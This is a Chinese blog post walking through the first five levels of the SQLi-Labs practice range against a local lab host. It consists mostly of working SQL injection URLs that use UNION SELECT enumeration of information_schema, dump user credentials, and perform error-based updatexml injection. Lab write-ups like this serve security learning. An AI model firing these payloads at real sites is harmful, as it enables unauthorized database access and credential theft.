Sqli-Lab 靶场题解 - Aur0r3's Blog

309 words

2 minutes

Sqli-Lab 靶场题解

2025-07-14

web安全

sql注入

基础挑战 1-20关#

Less-1#

经过检测为字符型

检测表的列数：

1
http://sqli.local/Less-1?id=1' order by 3%23
2
http://sqli.local/Less-1?id=1' order by 4%23

得出有三列，之后操作同less-2

1
http://sqli.local/Less-1/?id=-1' union select 1,database(),group_concat(table_name) FROM information_schema.tables WHERE table_schema="security"%23

Less-2#

测试数字型 or 字符型

1
#对比两个结果
2
http://sqli.local/Less-2/?id=1
3
http://sqli.local/Less-2/?id=2-1

发现结果相同，为数字型

判断回显位

1
http://sqli.local/Less-2/?id=-1 union select 1,2,3

1
http://sqli.local/Less-2/?id=-1 union select 1,database(),version()%23

%23经过转义后为#，代表注释符

得到数据库版本为5.7.40，可以用information_schema库查表名，列出security数据库中所有表名

1
http://sqli.local/Less-2/?id=-1 union select 1,database(),table_name FROM information_schema.tables WHERE table_schema="security"%23

但因为前端只能显示一个数据，所以需要将多条记录合成一条，用到group_concat()

1
http://sqli.local/Less-2/?id=-1 union select 1,database(),group_concat(table_name) FROM information_schema.tables WHERE table_schema="security"%23

得到security数据库中的表有emails，referers，usagents，users

泄露表中的字段信息：

1
http://sqli.local/Less-2/?id=-1 union select 1,database(),group_concat(column_name) FROM information_schema.columns WHERE table_schema="security" and table_name="emails"%23
2
http://sqli.local/Less-2/?id=-1 union select 1,database(),group_concat(column_name) FROM information_schema.columns WHERE table_schema="security" and table_name="referers"%23
3
http://sqli.local/Less-2/?id=-1 union select 1,database(),group_concat(column_name) FROM information_schema.columns WHERE table_schema="security" and table_name="usagents"%23
4
http://sqli.local/Less-2/?id=-1 union select 1,database(),group_concat(column_name) FROM information_schema.columns WHERE table_schema="security" and table_name="users"%23

查出user表中的所有数据

1
http://sqli.local/Less-2/?id=-1 union select 1,database(),group_concat(concat_ws("-",id,username,password)) FROM security.users

Less-3#

同Less-1,2，只是闭合方式不同：

1
# 闭合方式变为')
2
http://sqli.local/Less-2/?id=-1')

Less-4#

同上，但闭合方式不同

1
http://sqli.local/Less-4/?id=-1")

Less-5#

本关查询结果不会显

1
http://sqli.local/Less-5/?id=1' # 报错
2
http://sqli.local/Less-5/?id=1" # 没有报错

闭合方式为单引号

利用报错注入

1
http://sqli.local/Less-5/?id=1'and updatexml(1,concat(0x7e,(select database()),0x7e),1)%23

Sqli-Lab 靶场题解

https://fuwari.vercel.app/posts/sqli-lab靶场题解/

Author

Aur0r3

Published at

2025-07-14

License

CC BY-NC-SA 4.0

云安全简介

DC-9靶场题解